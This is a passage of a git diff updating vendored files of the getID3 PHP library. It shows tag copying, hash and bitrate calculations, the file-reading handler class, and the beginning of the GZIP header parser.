'ISO-8859-1'), + 'dsdiff' => array('dsdiff' , 'ISO-8859-1'), + ); + } + + // loop through comments array + foreach ($tags as $comment_name => $tagname_encoding_array) { + list($tag_name, $encoding) = $tagname_encoding_array; + + // fill in default encoding type if not already present + if (isset($this->info[$comment_name]) && !isset($this->info[$comment_name]['encoding'])) { + $this->info[$comment_name]['encoding'] = $encoding; + } + + // copy comments if key name set + if (!empty($this->info[$comment_name]['comments'])) { + foreach ($this->info[$comment_name]['comments'] as $tag_key => $valuearray) { + foreach ($valuearray as $key => $value) { + if (is_string($value)) { + $value = trim($value, " \r\n\t"); // do not trim nulls from $value!! Unicode characters will get mangled if trailing nulls are removed! + } + if (isset($value) && $value !== "") { + if (!is_numeric($key)) { + $this->info['tags'][trim($tag_name)][trim($tag_key)][$key] = $value; + } else { + $this->info['tags'][trim($tag_name)][trim($tag_key)][] = $value; + } + } + } + if ($tag_key == 'picture') { + // pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere + unset($this->info[$comment_name]['comments'][$tag_key]); + } + } + + if (!isset($this->info['tags'][$tag_name])) { + // comments are set but contain nothing but empty strings, so skip + continue; + } + + $this->CharConvert($this->info['tags'][$tag_name], $this->info[$comment_name]['encoding']); // only copy gets converted! + + if ($this->option_tags_html) { + foreach ($this->info['tags'][$tag_name] as $tag_key => $valuearray) { + if ($tag_key == 'picture') { + // Do not to try to convert binary picture data to HTML + // https://github.com/JamesHeinrich/getID3/issues/178 + continue; + } + $this->info['tags_html'][$tag_name][$tag_key] = getid3_lib::recursiveMultiByteCharString2HTML($valuearray, $this->info[$comment_name]['encoding']); + } + } + + } + + } + + // pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere + if (!empty($this->info['tags'])) { + $unset_keys = array('tags', 'tags_html'); + foreach ($this->info['tags'] as $tagtype => $tagarray) { + foreach ($tagarray as $tagname => $tagdata) { + if ($tagname == 'picture') { + foreach ($tagdata as $key => $tagarray) { + $this->info['comments']['picture'][] = $tagarray; + if (isset($tagarray['data']) && isset($tagarray['image_mime'])) { + if (isset($this->info['tags'][$tagtype][$tagname][$key])) { + unset($this->info['tags'][$tagtype][$tagname][$key]); + } + if (isset($this->info['tags_html'][$tagtype][$tagname][$key])) { + unset($this->info['tags_html'][$tagtype][$tagname][$key]); + } + } + } + } + } + foreach ($unset_keys as $unset_key) { + // remove possible empty keys from (e.g. [tags][id3v2][picture]) + if (empty($this->info[$unset_key][$tagtype]['picture'])) { + unset($this->info[$unset_key][$tagtype]['picture']); + } + if (empty($this->info[$unset_key][$tagtype])) { + unset($this->info[$unset_key][$tagtype]); + } + if (empty($this->info[$unset_key])) { + unset($this->info[$unset_key]); + } + } + // remove duplicate copy of picture data from (e.g. [id3v2][comments][picture]) + if (isset($this->info[$tagtype]['comments']['picture'])) { + unset($this->info[$tagtype]['comments']['picture']); + } + if (empty($this->info[$tagtype]['comments'])) { + unset($this->info[$tagtype]['comments']); + } + if (empty($this->info[$tagtype])) { + unset($this->info[$tagtype]); + } + } + } + return true; + } + + /** + * Calls getid3_lib::CopyTagsToComments() but passes in the option_tags_html setting from this instance of getID3 + * + * @param array $ThisFileInfo + * + * @return bool + */ + public function CopyTagsToComments(&$ThisFileInfo) { + return getid3_lib::CopyTagsToComments($ThisFileInfo, $this->option_tags_html); + } + + /** + * @param string $algorithm + * + * @return array|bool + */ + public function getHashdata($algorithm) { + switch ($algorithm) { + case 'md5': + case 'sha1': + break; + + default: + return $this->error('bad algorithm "'.$algorithm.'" in getHashdata()'); + } + + if (!empty($this->info['fileformat']) && !empty($this->info['dataformat']) && ($this->info['fileformat'] == 'ogg') && ($this->info['audio']['dataformat'] == 'vorbis')) { + + // We cannot get an identical md5_data value for Ogg files where the comments + // span more than 1 Ogg page (compared to the same audio data with smaller + // comments) using the normal getID3() method of MD5'ing the data between the + // end of the comments and the end of the file (minus any trailing tags), + // because the page sequence numbers of the pages that the audio data is on + // do not match. Under normal circumstances, where comments are smaller than + // the nominal 4-8kB page size, then this is not a problem, but if there are + // very large comments, the only way around it is to strip off the comment + // tags with vorbiscomment and MD5 that file. + // This procedure must be applied to ALL Ogg files, not just the ones with + // comments larger than 1 page, because the below method simply MD5's the + // whole file with the comments stripped, not just the portion after the + // comments block (which is the standard getID3() method. + + // The above-mentioned problem of comments spanning multiple pages and changing + // page sequence numbers likely happens for OggSpeex and OggFLAC as well, but + // currently vorbiscomment only works on OggVorbis files. + + if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { + + $this->warning('Failed making system call to vorbiscomment.exe - '.$algorithm.'_data is incorrect - error returned: PHP running in Safe Mode (backtick operator not available)'); + $this->info[$algorithm.'_data'] = false; + + } else { + + // Prevent user from aborting script + $old_abort = ignore_user_abort(true); + + // Create empty file + $empty = tempnam(GETID3_TEMP_DIR, 'getID3'); + touch($empty); + + // Use vorbiscomment to make temp file without comments + $temp = tempnam(GETID3_TEMP_DIR, 'getID3'); + $file = $this->info['filenamepath']; + + if (GETID3_OS_ISWINDOWS) { + + if (file_exists(GETID3_HELPERAPPSDIR.'vorbiscomment.exe')) { + + $commandline = '"'.GETID3_HELPERAPPSDIR.'vorbiscomment.exe" -w -c "'.$empty.'" "'.$file.'" "'.$temp.'"'; + $VorbisCommentError = `$commandline`; + + } else { + + $VorbisCommentError = 'vorbiscomment.exe not found in '.GETID3_HELPERAPPSDIR; + + } + + } else { + + $commandline = 'vorbiscomment -w -c '.escapeshellarg($empty).' '.escapeshellarg($file).' '.escapeshellarg($temp).' 2>&1'; + $VorbisCommentError = `$commandline`; + + } + + if (!empty($VorbisCommentError)) { + + $this->warning('Failed making system call to vorbiscomment(.exe) - '.$algorithm.'_data will be incorrect. If vorbiscomment is unavailable, please download from http://www.vorbis.com/download.psp and put in the getID3() directory. Error returned: '.$VorbisCommentError); + $this->info[$algorithm.'_data'] = false; + + } else { + + // Get hash of newly created file + switch ($algorithm) { + case 'md5': + $this->info[$algorithm.'_data'] = md5_file($temp); + break; + + case 'sha1': + $this->info[$algorithm.'_data'] = sha1_file($temp); + break; + } + } + + // Clean up + unlink($empty); + unlink($temp); + + // Reset abort setting + ignore_user_abort($old_abort); + + } + + } else { + + if (!empty($this->info['avdataoffset']) || (isset($this->info['avdataend']) && ($this->info['avdataend'] < $this->info['filesize']))) { + + // get hash from part of file + $this->info[$algorithm.'_data'] = getid3_lib::hash_data($this->info['filenamepath'], $this->info['avdataoffset'], $this->info['avdataend'], $algorithm); + + } else { + + // get hash from whole file + switch ($algorithm) { + case 'md5': + $this->info[$algorithm.'_data'] = md5_file($this->info['filenamepath']); + break; + + case 'sha1': + $this->info[$algorithm.'_data'] = sha1_file($this->info['filenamepath']); + break; + } + } + + } + return true; + } + + public function ChannelsBitratePlaytimeCalculations() { + + // set channelmode on audio + if (!empty($this->info['audio']['channelmode']) || !isset($this->info['audio']['channels'])) { + // ignore + } elseif ($this->info['audio']['channels'] == 1) { + $this->info['audio']['channelmode'] = 'mono'; + } elseif ($this->info['audio']['channels'] == 2) { + $this->info['audio']['channelmode'] = 'stereo'; + } + + // Calculate combined bitrate - audio + video + $CombinedBitrate = 0; + $CombinedBitrate += (isset($this->info['audio']['bitrate']) ? $this->info['audio']['bitrate'] : 0); + $CombinedBitrate += (isset($this->info['video']['bitrate']) ? $this->info['video']['bitrate'] : 0); + if (($CombinedBitrate > 0) && empty($this->info['bitrate'])) { + $this->info['bitrate'] = $CombinedBitrate; + } + //if ((isset($this->info['video']) && !isset($this->info['video']['bitrate'])) || (isset($this->info['audio']) && !isset($this->info['audio']['bitrate']))) { + // // for example, VBR MPEG video files cannot determine video bitrate: + // // should not set overall bitrate and playtime from audio bitrate only + // unset($this->info['bitrate']); + //} + + // video bitrate undetermined, but calculable + if (isset($this->info['video']['dataformat']) && $this->info['video']['dataformat'] && (!isset($this->info['video']['bitrate']) || ($this->info['video']['bitrate'] == 0))) { + // if video bitrate not set + if (isset($this->info['audio']['bitrate']) && ($this->info['audio']['bitrate'] > 0) && ($this->info['audio']['bitrate'] == $this->info['bitrate'])) { + // AND if audio bitrate is set to same as overall bitrate + if (isset($this->info['playtime_seconds']) && ($this->info['playtime_seconds'] > 0)) { + // AND if playtime is set + if (isset($this->info['avdataend']) && isset($this->info['avdataoffset'])) { + // AND if AV data offset start/end is known + // THEN we can calculate the video bitrate + $this->info['bitrate'] = round((($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']); + $this->info['video']['bitrate'] = $this->info['bitrate'] - $this->info['audio']['bitrate']; + } + } + } + } + + if ((!isset($this->info['playtime_seconds']) || ($this->info['playtime_seconds'] <= 0)) && !empty($this->info['bitrate'])) { + $this->info['playtime_seconds'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['bitrate']; + } + + if (!isset($this->info['bitrate']) && !empty($this->info['playtime_seconds'])) { + $this->info['bitrate'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']; + } + if (isset($this->info['bitrate']) && empty($this->info['audio']['bitrate']) && empty($this->info['video']['bitrate'])) { + if (isset($this->info['audio']['dataformat']) && empty($this->info['video']['resolution_x'])) { + // audio only + $this->info['audio']['bitrate'] = $this->info['bitrate']; + } elseif (isset($this->info['video']['resolution_x']) && empty($this->info['audio']['dataformat'])) { + // video only + $this->info['video']['bitrate'] = $this->info['bitrate']; + } + } + + // Set playtime string + if (!empty($this->info['playtime_seconds']) && empty($this->info['playtime_string'])) { + $this->info['playtime_string'] = getid3_lib::PlaytimeString($this->info['playtime_seconds']); + } + } + + /** + * @return bool + */ + public function CalculateCompressionRatioVideo() { + if (empty($this->info['video'])) { + return false; + } + if (empty($this->info['video']['resolution_x']) || empty($this->info['video']['resolution_y'])) { + return false; + } + if (empty($this->info['video']['bits_per_sample'])) { + return false; + } + + switch ($this->info['video']['dataformat']) { + case 'bmp': + case 'gif': + case 'jpeg': + case 'jpg': + case 'png': + case 'tiff': + $FrameRate = 1; + $PlaytimeSeconds = 1; + $BitrateCompressed = $this->info['filesize'] * 8; + break; + + default: + if (!empty($this->info['video']['frame_rate'])) { + $FrameRate = $this->info['video']['frame_rate']; + } else { + return false; + } + if (!empty($this->info['playtime_seconds'])) { + $PlaytimeSeconds = $this->info['playtime_seconds']; + } else { + return false; + } + if (!empty($this->info['video']['bitrate'])) { + $BitrateCompressed = $this->info['video']['bitrate']; + } else { + return false; + } + break; + } + $BitrateUncompressed = $this->info['video']['resolution_x'] * $this->info['video']['resolution_y'] * $this->info['video']['bits_per_sample'] * $FrameRate; + + $this->info['video']['compression_ratio'] = $BitrateCompressed / $BitrateUncompressed; + return true; + } + + /** + * @return bool + */ + public function CalculateCompressionRatioAudio() { + if (empty($this->info['audio']['bitrate']) || empty($this->info['audio']['channels']) || empty($this->info['audio']['sample_rate']) || !is_numeric($this->info['audio']['sample_rate'])) { + return false; + } + $this->info['audio']['compression_ratio'] = $this->info['audio']['bitrate'] / ($this->info['audio']['channels'] * $this->info['audio']['sample_rate'] * (!empty($this->info['audio']['bits_per_sample']) ? $this->info['audio']['bits_per_sample'] : 16)); + + if (!empty($this->info['audio']['streams'])) { + foreach ($this->info['audio']['streams'] as $streamnumber => $streamdata) { + if (!empty($streamdata['bitrate']) && !empty($streamdata['channels']) && !empty($streamdata['sample_rate'])) { + $this->info['audio']['streams'][$streamnumber]['compression_ratio'] = $streamdata['bitrate'] / ($streamdata['channels'] * $streamdata['sample_rate'] * (!empty($streamdata['bits_per_sample']) ? $streamdata['bits_per_sample'] : 16)); + } + } + } + return true; + } + + /** + * @return bool + */ + public function CalculateReplayGain() { + if (isset($this->info['replay_gain'])) { + if (!isset($this->info['replay_gain']['reference_volume'])) { + $this->info['replay_gain']['reference_volume'] = 89.0; + } + if (isset($this->info['replay_gain']['track']['adjustment'])) { + $this->info['replay_gain']['track']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['track']['adjustment']; + } + if (isset($this->info['replay_gain']['album']['adjustment'])) { + $this->info['replay_gain']['album']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['album']['adjustment']; + } + + if (isset($this->info['replay_gain']['track']['peak'])) { + $this->info['replay_gain']['track']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['track']['peak']); + } + if (isset($this->info['replay_gain']['album']['peak'])) { + $this->info['replay_gain']['album']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['album']['peak']); + } + } + return true; + } + + /** + * @return bool + */ + public function ProcessAudioStreams() { + if (!empty($this->info['audio']['bitrate']) || !empty($this->info['audio']['channels']) || !empty($this->info['audio']['sample_rate'])) { + if (!isset($this->info['audio']['streams'])) { + foreach ($this->info['audio'] as $key => $value) { + if ($key != 'streams') { + $this->info['audio']['streams'][0][$key] = $value; + } + } + } + } + return true; + } + + /** + * @return string|bool + */ + public function getid3_tempnam() { + return tempnam($this->tempdir, 'gI3'); + } + + /** + * @param string $name + * + * @return bool + * + * @throws getid3_exception + */ + public function include_module($name) { + //if (!file_exists($this->include_path.'module.'.$name.'.php')) { + if (!file_exists(GETID3_INCLUDEPATH.'module.'.$name.'.php')) { + throw new getid3_exception('Required module.'.$name.'.php is missing.'); + } + include_once(GETID3_INCLUDEPATH.'module.'.$name.'.php'); + return true; + } + + /** + * @param string $filename + * + * @return bool + */ + public static function is_writable ($filename) { + $ret = is_writable($filename); + if (!$ret) { + $perms = fileperms($filename); + $ret = ($perms & 0x0080) || ($perms & 0x0010) || ($perms & 0x0002); + } + return $ret; + } + +} + + +abstract class getid3_handler +{ + + /** + * @var getID3 + */ + protected $getid3; // pointer + + /** + * Analyzing filepointer or string. + * + * @var bool + */ + protected $data_string_flag = false; + + /** + * String to analyze. + * + * @var string + */ + protected $data_string = ''; + + /** + * Seek position in string. + * + * @var int + */ + protected $data_string_position = 0; + + /** + * String length. + * + * @var int + */ + protected $data_string_length = 0; + + /** + * @var string + */ + private $dependency_to; + + /** + * getid3_handler constructor. + * + * @param getID3 $getid3 + * @param string $call_module + */ + public function __construct(getID3 $getid3, $call_module=null) { + $this->getid3 = $getid3; + + if ($call_module) { + $this->dependency_to = str_replace('getid3_', '', $call_module); + } + } + + /** + * Analyze from file pointer. + * + * @return bool + */ + abstract public function Analyze(); + + /** + * Analyze from string instead. + * + * @param string $string + */ + public function AnalyzeString($string) { + // Enter string mode + $this->setStringMode($string); + + // Save info + $saved_avdataoffset = $this->getid3->info['avdataoffset']; + $saved_avdataend = $this->getid3->info['avdataend']; + $saved_filesize = (isset($this->getid3->info['filesize']) ? $this->getid3->info['filesize'] : null); // may be not set if called as dependency without openfile() call + + // Reset some info + $this->getid3->info['avdataoffset'] = 0; + $this->getid3->info['avdataend'] = $this->getid3->info['filesize'] = $this->data_string_length; + + // Analyze + $this->Analyze(); + + // Restore some info + $this->getid3->info['avdataoffset'] = $saved_avdataoffset; + $this->getid3->info['avdataend'] = $saved_avdataend; + $this->getid3->info['filesize'] = $saved_filesize; + + // Exit string mode + $this->data_string_flag = false; + } + + /** + * @param string $string + */ + public function setStringMode($string) { + $this->data_string_flag = true; + $this->data_string = $string; + $this->data_string_length = strlen($string); + } + + /** + * @return int|bool + */ + protected function ftell() { + if ($this->data_string_flag) { + return $this->data_string_position; + } + return ftell($this->getid3->fp); + } + + /** + * @param int $bytes + * + * @return string|false + * + * @throws getid3_exception + */ + protected function fread($bytes) { + if ($this->data_string_flag) { + $this->data_string_position += $bytes; + return substr($this->data_string, $this->data_string_position - $bytes, $bytes); + } + $pos = $this->ftell() + $bytes; + if (!getid3_lib::intValueSupported($pos)) { + throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') because beyond PHP filesystem limit', 10); + } + + //return fread($this->getid3->fp, $bytes); + /* + * https://www.getid3.org/phpBB3/viewtopic.php?t=1930 + * "I found out that the root cause for the problem was how getID3 uses the PHP system function fread(). + * It seems to assume that fread() would always return as many bytes as were requested. + * However, according the PHP manual (http://php.net/manual/en/function.fread.php), this is the case only with regular local files, but not e.g. with Linux pipes. + * The call may return only part of the requested data and a new call is needed to get more." + */ + $contents = ''; + do { + //if (($this->getid3->memory_limit > 0) && ($bytes > $this->getid3->memory_limit)) { + if (($this->getid3->memory_limit > 0) && (($bytes / $this->getid3->memory_limit) > 0.99)) { // enable a more-fuzzy match to prevent close misses generating errors like "PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 33554464 bytes)" + throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') that is more than available PHP memory ('.$this->getid3->memory_limit.')', 10); + } + $part = fread($this->getid3->fp, $bytes); + $partLength = strlen($part); + $bytes -= $partLength; + $contents .= $part; + } while (($bytes > 0) && ($partLength > 0)); + return $contents; + } + + /** + * @param int $bytes + * @param int $whence + * + * @return int + * + * @throws getid3_exception + */ + protected function fseek($bytes, $whence=SEEK_SET) { + if ($this->data_string_flag) { + switch ($whence) { + case SEEK_SET: + $this->data_string_position = $bytes; + break; + + case SEEK_CUR: + $this->data_string_position += $bytes; + break; + + case SEEK_END: + $this->data_string_position = $this->data_string_length + $bytes; + break; + } + return 0; // fseek returns 0 on success + } + + $pos = $bytes; + if ($whence == SEEK_CUR) { + $pos = $this->ftell() + $bytes; + } elseif ($whence == SEEK_END) { + $pos = $this->getid3->info['filesize'] + $bytes; + } + if (!getid3_lib::intValueSupported($pos)) { + throw new getid3_exception('cannot fseek('.$pos.') because beyond PHP filesystem limit', 10); + } + + // https://github.com/JamesHeinrich/getID3/issues/327 + $result = fseek($this->getid3->fp, $bytes, $whence); + if ($result !== 0) { // fseek returns 0 on success + throw new getid3_exception('cannot fseek('.$pos.'). resource/stream does not appear to support seeking', 10); + } + return $result; + } + + /** + * @return string|false + * + * @throws getid3_exception + */ + protected function fgets() { + // must be able to handle CR/LF/CRLF but not read more than one lineend + $buffer = ''; // final string we will return + $prevchar = ''; // save previously-read character for end-of-line checking + if ($this->data_string_flag) { + while (true) { + $thischar = substr($this->data_string, $this->data_string_position++, 1); + if (($prevchar == "\r") && ($thischar != "\n")) { + // read one byte too many, back up + $this->data_string_position--; + break; + } + $buffer .= $thischar; + if ($thischar == "\n") { + break; + } + if ($this->data_string_position >= $this->data_string_length) { + // EOF + break; + } + $prevchar = $thischar; + } + + } else { + + // Ideally we would just use PHP's fgets() function, however... + // it does not behave consistently with regards to mixed line endings, may be system-dependent + // and breaks entirely when given a file with mixed \r vs \n vs \r\n line endings (e.g. some PDFs) + //return fgets($this->getid3->fp); + while (true) { + $thischar = fgetc($this->getid3->fp); + if (($prevchar == "\r") && ($thischar != "\n")) { + // read one byte too many, back up + fseek($this->getid3->fp, -1, SEEK_CUR); + break; + } + $buffer .= $thischar; + if ($thischar == "\n") { + break; + } + if (feof($this->getid3->fp)) { + break; + } + $prevchar = $thischar; + } + + } + return $buffer; + } + + /** + * @return bool + */ + protected function feof() { + if ($this->data_string_flag) { + return $this->data_string_position >= $this->data_string_length; + } + return feof($this->getid3->fp); + } + + /** + * @param string $module + * + * @return bool + */ + final protected function isDependencyFor($module) { + return $this->dependency_to == $module; + } + + /** + * @param string $text + * + * @return bool + */ + protected function error($text) { + $this->getid3->info['error'][] = $text; + + return false; + } + + /** + * @param string $text + * + * @return bool + */ + protected function warning($text) { + return $this->getid3->warning($text); + } + + /** + * @param string $text + */ + protected function notice($text) { + // does nothing for now + } + + /** + * @param string $name + * @param int $offset + * @param int $length + * @param string $image_mime + * + * @return string|null + * + * @throws Exception + * @throws getid3_exception + */ + public function saveAttachment($name, $offset, $length, $image_mime=null) { + $fp_dest = null; + $dest = null; + try { + + // do not extract at all + if ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_NONE) { + + $attachment = null; // do not set any + + // extract to return array + } elseif ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_INLINE) { + + $this->fseek($offset); + $attachment = $this->fread($length); // get whole data in one pass, till it is anyway stored in memory + if ($attachment === false || strlen($attachment) != $length) { + throw new Exception('failed to read attachment data'); + } + + // assume directory path is given + } else { + + // set up destination path + $dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR); + if (!is_dir($dir) || !getID3::is_writable($dir)) { // check supplied directory + throw new Exception('supplied path ('.$dir.') does not exist, or is not writable'); + } + $dest = $dir.DIRECTORY_SEPARATOR.$name.($image_mime ? '.'.getid3_lib::ImageExtFromMime($image_mime) : ''); + + // create dest file + if (($fp_dest = fopen($dest, 'wb')) == false) { + throw new Exception('failed to create file '.$dest); + } + + // copy data + $this->fseek($offset); + $buffersize = ($this->data_string_flag ? $length : $this->getid3->fread_buffer_size()); + $bytesleft = $length; + while ($bytesleft > 0) { + if (($buffer = $this->fread(min($buffersize, $bytesleft))) === false || ($byteswritten = fwrite($fp_dest, $buffer)) === false || ($byteswritten === 0)) { + throw new Exception($buffer === false ? 'not enough data to read' : 'failed to write to destination file, may be not enough disk space'); + } + $bytesleft -= $byteswritten; + } + + fclose($fp_dest); + $attachment = $dest; + + } + + } catch (Exception $e) { + + // close and remove dest file if created + if (isset($fp_dest) && is_resource($fp_dest)) { + fclose($fp_dest); + } + + if (isset($dest) && file_exists($dest)) { + unlink($dest); + } + + // do not set any is case of error + $attachment = null; + $this->warning('Failed to extract attachment '.$name.': '.$e->getMessage()); + + } + + // seek to the end of attachment + $this->fseek($offset + $length); + + return $attachment; + } + +} + + +class getid3_exception extends Exception +{ + public $message; +} diff --git a/vendor/james-heinrich/getid3/getid3/module.archive.gzip.php b/vendor/james-heinrich/getid3/getid3/module.archive.gzip.php index 80daa9b94a..d757781102 100644 --- a/vendor/james-heinrich/getid3/getid3/module.archive.gzip.php +++ b/vendor/james-heinrich/getid3/getid3/module.archive.gzip.php @@ -1,307 +1,307 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.archive.gzip.php // -// module for analyzing GZIP files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// -// // -// Module originally written by // -// Mike Mozolin // -// // -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_gzip extends getid3_handler -{ - /** - * Optional file list - disable for speed. - * Decode gzipped files, if possible, and parse recursively (.tar.gz for example). - * - * @var bool - */ - public $parse_contents = false; - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'gzip'; - - $start_length = 10; - $unpack_header = 'a1id1/a1id2/a1cmethod/a1flags/a4mtime/a1xflags/a1os'; - //+---+---+---+---+---+---+---+---+---+---+ - //|ID1|ID2|CM |FLG| MTIME |XFL|OS | - //+---+---+---+---+---+---+---+---+---+---+ - - if ($info['php_memory_limit'] && ($info['filesize'] > $info['php_memory_limit'])) { - $this->error('File is too large ('.number_format($info['filesize']).' bytes) to read into memory (limit: '.number_format($info['php_memory_limit'] / 1048576).'MB)'); - return false; - } - $this->fseek(0); - $buffer = $this->fread($info['filesize']); - - $arr_members = explode("\x1F\x8B\x08", $buffer); - $num_members = 0; - while (true) { - $is_wrong_members = false; - $num_members = count($arr_members); - for ($i = 0; $i < $num_members; $i++) { - if (strlen($arr_members[$i]) == 0) { - continue; - } - $buf = "\x1F\x8B\x08".$arr_members[$i]; - - $attr = unpack($unpack_header, substr($buf, 0, $start_length)); - if (!$this->get_os_type(ord($attr['os']))) { - // Merge member with previous if wrong OS type - $arr_members[($i - 1)] .= $buf; - $arr_members[$i] = ''; - $is_wrong_members = true; - continue; - } - } - if (!$is_wrong_members) { - break; - } - } - - $info['gzip']['files'] = array(); - - $fpointer = 0; - $idx = 0; - foreach ($arr_members as $member) { - if (strlen($member) == 0) { - continue; - } - $thisInfo = &$info['gzip']['member_header'][++$idx]; - - $buff = "\x1F\x8B\x08". $member; - - $attr = unpack($unpack_header, substr($buff, 0, $start_length)); - $thisInfo['filemtime'] = getid3_lib::LittleEndian2Int($attr['mtime']); - $thisInfo['raw']['id1'] = ord($attr['cmethod']); - $thisInfo['raw']['id2'] = ord($attr['cmethod']); - $thisInfo['raw']['cmethod'] = ord($attr['cmethod']); - $thisInfo['raw']['os'] = ord($attr['os']); - $thisInfo['raw']['xflags'] = ord($attr['xflags']); - $thisInfo['raw']['flags'] = ord($attr['flags']); - - $thisInfo['flags']['crc16'] = (bool) ($thisInfo['raw']['flags'] & 0x02); - $thisInfo['flags']['extra'] = (bool) ($thisInfo['raw']['flags'] & 0x04); - $thisInfo['flags']['filename'] = (bool) ($thisInfo['raw']['flags'] & 0x08); - $thisInfo['flags']['comment'] = (bool) ($thisInfo['raw']['flags'] & 0x10); - - $thisInfo['compression'] = $this->get_xflag_type($thisInfo['raw']['xflags']); - - $thisInfo['os'] = $this->get_os_type($thisInfo['raw']['os']); - if (!$thisInfo['os']) { - $this->error('Read error on gzip file'); - return false; - } - - $fpointer = 10; - $arr_xsubfield = array(); - // bit 2 - FLG.FEXTRA - //+---+---+=================================+ - //| XLEN |...XLEN bytes of "extra field"...| - //+---+---+=================================+ - if ($thisInfo['flags']['extra']) { - $w_xlen = substr($buff, $fpointer, 2); - $xlen = getid3_lib::LittleEndian2Int($w_xlen); - $fpointer += 2; - - $thisInfo['raw']['xfield'] = substr($buff, $fpointer, $xlen); - // Extra SubFields - //+---+---+---+---+==================================+ - //|SI1|SI2| LEN |... LEN bytes of subfield data ...| - //+---+---+---+---+==================================+ - $idx = 0; - while (true) { - if ($idx >= $xlen) { - break; - } - $si1 = ord(substr($buff, $fpointer + $idx++, 1)); - $si2 = ord(substr($buff, $fpointer + $idx++, 1)); - if (($si1 == 0x41) && ($si2 == 0x70)) { - $w_xsublen = substr($buff, $fpointer + $idx, 2); - $xsublen = getid3_lib::LittleEndian2Int($w_xsublen); - $idx += 2; - $arr_xsubfield[] = substr($buff, $fpointer + $idx, $xsublen); - $idx += $xsublen; - } else { - break; - } - } - $fpointer += $xlen; - } - // bit 3 - FLG.FNAME - //+=========================================+ - //|...original file name, zero-terminated...| - //+=========================================+ - // GZIP files may have only one file, with no filename, so assume original filename is current filename without .gz - $thisInfo['filename'] = preg_replace('#\\.gz$#i', '', $info['filename']); - if ($thisInfo['flags']['filename']) { - $thisInfo['filename'] = ''; - while (true) { - if (ord($buff[$fpointer]) == 0) { - $fpointer++; - break; - } - $thisInfo['filename'] .= $buff[$fpointer]; - $fpointer++; - } - } - // bit 4 - FLG.FCOMMENT - //+===================================+ - //|...file comment, zero-terminated...| - //+===================================+ - if ($thisInfo['flags']['comment']) { - while (true) { - if (ord($buff[$fpointer]) == 0) { - $fpointer++; - break; - } - $thisInfo['comment'] .= $buff[$fpointer]; - $fpointer++; - } - } - // bit 1 - FLG.FHCRC - //+---+---+ - //| CRC16 | - //+---+---+ - if ($thisInfo['flags']['crc16']) { - $w_crc = substr($buff, $fpointer, 2); - $thisInfo['crc16'] = getid3_lib::LittleEndian2Int($w_crc); - $fpointer += 2; - } - // bit 0 - FLG.FTEXT - //if ($thisInfo['raw']['flags'] & 0x01) { - // Ignored... - //} - // bits 5, 6, 7 - reserved - - $thisInfo['crc32'] = getid3_lib::LittleEndian2Int(substr($buff, strlen($buff) - 8, 4)); - $thisInfo['filesize'] = getid3_lib::LittleEndian2Int(substr($buff, strlen($buff) - 4)); - - $info['gzip']['files'] = getid3_lib::array_merge_clobber($info['gzip']['files'], getid3_lib::CreateDeepArray($thisInfo['filename'], '/', $thisInfo['filesize'])); - - if ($this->parse_contents) { - // Try to inflate GZip - $csize = 0; - $inflated = ''; - $chkcrc32 = ''; - if (function_exists('gzinflate')) { - $cdata = substr($buff, $fpointer); - $cdata = substr($cdata, 0, strlen($cdata) - 8); - $csize = strlen($cdata); - $inflated = gzinflate($cdata); - - // Calculate CRC32 for inflated content - $thisInfo['crc32_valid'] = sprintf('%u', crc32($inflated)) == $thisInfo['crc32']; - - // determine format - $formattest = substr($inflated, 0, 32774); - $getid3_temp = new getID3(); - $determined_format = $getid3_temp->GetFileFormat($formattest); - unset($getid3_temp); - - // file format is determined - $determined_format['module'] = (isset($determined_format['module']) ? $determined_format['module'] : ''); - switch ($determined_format['module']) { - case 'tar': - // view TAR-file info - if (file_exists(GETID3_INCLUDEPATH.$determined_format['include']) && include_once(GETID3_INCLUDEPATH.$determined_format['include'])) { - if (($temp_tar_filename = tempnam(GETID3_TEMP_DIR, 'getID3')) === false) { - // can't find anywhere to create a temp file, abort - $this->error('Unable to create temp file to parse TAR inside GZIP file'); - break; - } - if ($fp_temp_tar = fopen($temp_tar_filename, 'w+b')) { - fwrite($fp_temp_tar, $inflated); - fclose($fp_temp_tar); - $getid3_temp = new getID3(); - $getid3_temp->openfile($temp_tar_filename); - $getid3_tar = new getid3_tar($getid3_temp); - $getid3_tar->Analyze(); - $info['gzip']['member_header'][$idx]['tar'] = $getid3_temp->info['tar']; - unset($getid3_temp, $getid3_tar); - unlink($temp_tar_filename); - } else { - $this->error('Unable to fopen() temp file to parse TAR inside GZIP file'); - break; - } - } - break; - - case '': - default: - // unknown or unhandled format - break; - } - } else { - $this->warning('PHP is not compiled with gzinflate() support. Please enable PHP Zlib extension or recompile with the --with-zlib switch'); - } - } - } - return true; - } - - /** - * Converts the OS type. - * - * @param string $key - * - * @return string - */ - public function get_os_type($key) { - static $os_type = array( - '0' => 'FAT filesystem (MS-DOS, OS/2, NT/Win32)', - '1' => 'Amiga', - '2' => 'VMS (or OpenVMS)', - '3' => 'Unix', - '4' => 'VM/CMS', - '5' => 'Atari TOS', 